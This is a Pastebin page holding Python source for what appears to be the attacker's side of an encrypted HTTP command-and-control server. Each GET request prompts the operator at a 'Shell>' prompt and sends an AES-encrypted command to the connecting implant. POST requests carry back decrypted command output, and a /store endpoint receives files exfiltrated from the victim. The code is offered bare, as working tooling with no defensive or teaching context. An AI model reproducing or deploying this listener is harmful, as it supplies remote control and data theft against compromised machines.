Advertisement
Guest User

Untitled

a guest
Jan 17th, 2019
86
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.42 KB | None | 0 0
  1. import http.server
  2. import os, cgi
  3. import string
  4. import random
  5. from Cryptodome.Cipher import AES
  6. from Cryptodome.Util import Padding
  7.  
  8. IV = <<IV>>
  9. key = <<KEY>>
  10.  
  11. HOST_NAME = <<HOSTNAME>>
  12. PORT_NUMBER = <<PORT>>
  13.  
  14. def encrypt(message):
  15.     encryptor = AES.new(key,AES.MODE_CBC,IV)
  16.     padded_message = Padding.pad(message,16)
  17.     encrypted_message = encryptor.encrypt(padded_message)
  18.     return encrypted_message
  19.  
  20. def decrypt(cipher):
  21.     decryptor = AES.new(key,AES.MODE_CBC,IV)
  22.     decrypted_padded_message = decryptor.decrypt(cipher)
  23.     decrypted_message = Padding.unpad(decrypted_padded_message, 16)
  24.     return decrypted_message
  25.  
  26. class MyHandler(http.server.BaseHTTPRequestHandler):
  27.  
  28.     def do_GET(self):
  29.         command = input("Shell> ")
  30.         self.send_response(200)
  31.         self.send_header("Content-type", "text/html")
  32.         self.end_headers()
  33.         command = command.encode('utf8')
  34.         command = encrypt(command)
  35.         self.wfile.write(command)
  36.  
  37.     def do_POST(self):
  38.        
  39.         if self.path == '/store':
  40.            
  41.             try:
  42.                 ctype, pdict = cgi.parse_header(self.headers.get('content-type'))
  43.                 if ctype == 'multipart/form-data':
  44.                     fs = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD':'POST'})
  45.            
  46.                 else:
  47.                     print('[-] Unexpected POST request')
  48.                
  49.                 fs_up = fs['file']
  50.                
  51.                 with open('/root/Desktop/Temp/place_holder.txt', 'wb') as o:
  52.                     print('[+] Writing file..')
  53.                     o.write(fs_up.file.read())
  54.                     self.send_response(200)
  55.                     self.end_headers()
  56.        
  57.             except Exception as e:
  58.                 print(e)
  59.            
  60.             return
  61.  
  62.         self.send_response(200)
  63.         self.end_headers()
  64.         length = int(self.headers['Content-length'])
  65.         postVar = self.rfile.read(length)
  66.         response = postVar.decode()
  67.         print(decrypt(response))
  68.  
  69.  
  70. if __name__ == "__main__":
  71.     server_class = http.server.HTTPServer
  72.     httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
  73.     print('[+] Listening for incoming HTTP connection on port ' + str(PORT_NUMBER))
  74.     try:
  75.         httpd.serve_forever()
  76.     except KeyboardInterrupt:
  77.         print('[!] Server is terminated')
  78.         httpd.server_close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement